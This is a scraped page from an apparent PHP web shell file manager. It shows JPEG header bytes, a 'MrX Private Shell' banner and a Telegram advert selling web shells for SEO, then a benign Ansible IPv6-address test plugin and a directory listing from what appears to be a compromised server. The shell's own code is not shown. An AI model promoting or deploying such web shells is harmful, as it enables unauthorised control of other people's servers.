����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright 2021 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
"""
Test plugin file for netaddr tests: ipv6_address
"""
from __future__ import absolute_import, division, print_function
from ansible_collections.ansible.utils.plugins.plugin_utils.base.ipaddress_utils import (
_need_ipaddress,
ip_address,
)
from ansible_collections.ansible.utils.plugins.plugin_utils.base.utils import _validate_args
__metaclass__ = type
DOCUMENTATION = """
name: ipv6_address
author: Priyam Sahoo (@priyamsahoo)
version_added: "2.2.0"
short_description: Test if something is an IPv6 address
description:
- This plugin checks if the provided value is a valid host IP address with IPv6 addressing scheme
options:
ip:
description:
- A string that represents the value against which the test is going to be performed
- 'For example: C(10.1.1.1), C(10.0.0.0/8), or C(fe80::216:3eff:fee4:16f3)'
type: str
required: True
notes:
"""
EXAMPLES = r"""
#### Simple examples
- name: Check if fe80::216:3eff:fee4:16f3 is a valid IPv6 address
ansible.builtin.set_fact:
data: "{{ 'fe80::216:3eff:fee4:16f3' is ansible.utils.ipv6_address }}"
# TASK [Check if fe80::216:3eff:fee4:16f3 is a valid IPv6 address] *********************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
- name: Check if 2001:db8:a::123/64 is not a valid IPv6 address
ansible.builtin.set_fact:
data: "{{ '2001:db8:a::123/64' is not ansible.utils.ipv6_address }}"
# TASK [Check if 2001:db8:a::123/64 is not a valid IPv6 address] ***********************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
- name: Check if 192.169.1.250 is not a valid IPv6 address
ansible.builtin.set_fact:
data: "{{ '192.169.1.250' is not ansible.utils.ipv6_address }}"
# TASK [Check if 192.169.1.250 is not a valid IPv6 address] ****************************
# ok: [localhost] => {
# "ansible_facts": {
# "data": true
# },
# "changed": false
# }
"""
RETURN = """
data:
description:
- If jinja test satisfies plugin expression C(true)
- If jinja test does not satisfy plugin expression C(false)
"""
@_need_ipaddress
def _ipv6_address(ip):
"""Test if something in an IPv6 address"""
params = {"ip": ip}
_validate_args("ipv6_address", DOCUMENTATION, params)
try:
return ip_address(ip).version == 6
except Exception:
return False
class TestModule(object):
"""network jinja test"""
test_map = {"ipv6_address": _ipv6_address}
def tests(self):
return self.test_map
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| in_any_network.py | File | 2.84 KB | 0644 |
|
| in_network.py | File | 3.4 KB | 0644 |
|
| in_one_network.py | File | 2.83 KB | 0644 |
|
| ip.py | File | 3.2 KB | 0644 |
|
| ip_address.py | File | 2.62 KB | 0644 |
|
| ipv4.py | File | 2.6 KB | 0644 |
|
| ipv4_address.py | File | 2.73 KB | 0644 |
|
| ipv4_hostmask.py | File | 2.36 KB | 0644 |
|
| ipv4_netmask.py | File | 2.72 KB | 0644 |
|
| ipv6.py | File | 2.68 KB | 0644 |
|
| ipv6_address.py | File | 2.76 KB | 0644 |
|
| ipv6_ipv4_mapped.py | File | 2.82 KB | 0644 |
|
| ipv6_sixtofour.py | File | 2.81 KB | 0644 |
|
| ipv6_teredo.py | File | 2.8 KB | 0644 |
|
| loopback.py | File | 2.51 KB | 0644 |
|
| mac.py | File | 3.39 KB | 0644 |
|
| multicast.py | File | 2.94 KB | 0644 |
|
| private.py | File | 2.24 KB | 0644 |
|
| public.py | File | 2.15 KB | 0644 |
|
| reserved.py | File | 2.24 KB | 0644 |
|
| resolvable.py | File | 3.81 KB | 0644 |
|
| subnet_of.py | File | 2.56 KB | 0644 |
|
| supernet_of.py | File | 2.65 KB | 0644 |
|
| unspecified.py | File | 2.89 KB | 0644 |
|
| validate.py | File | 5.7 KB | 0644 |
|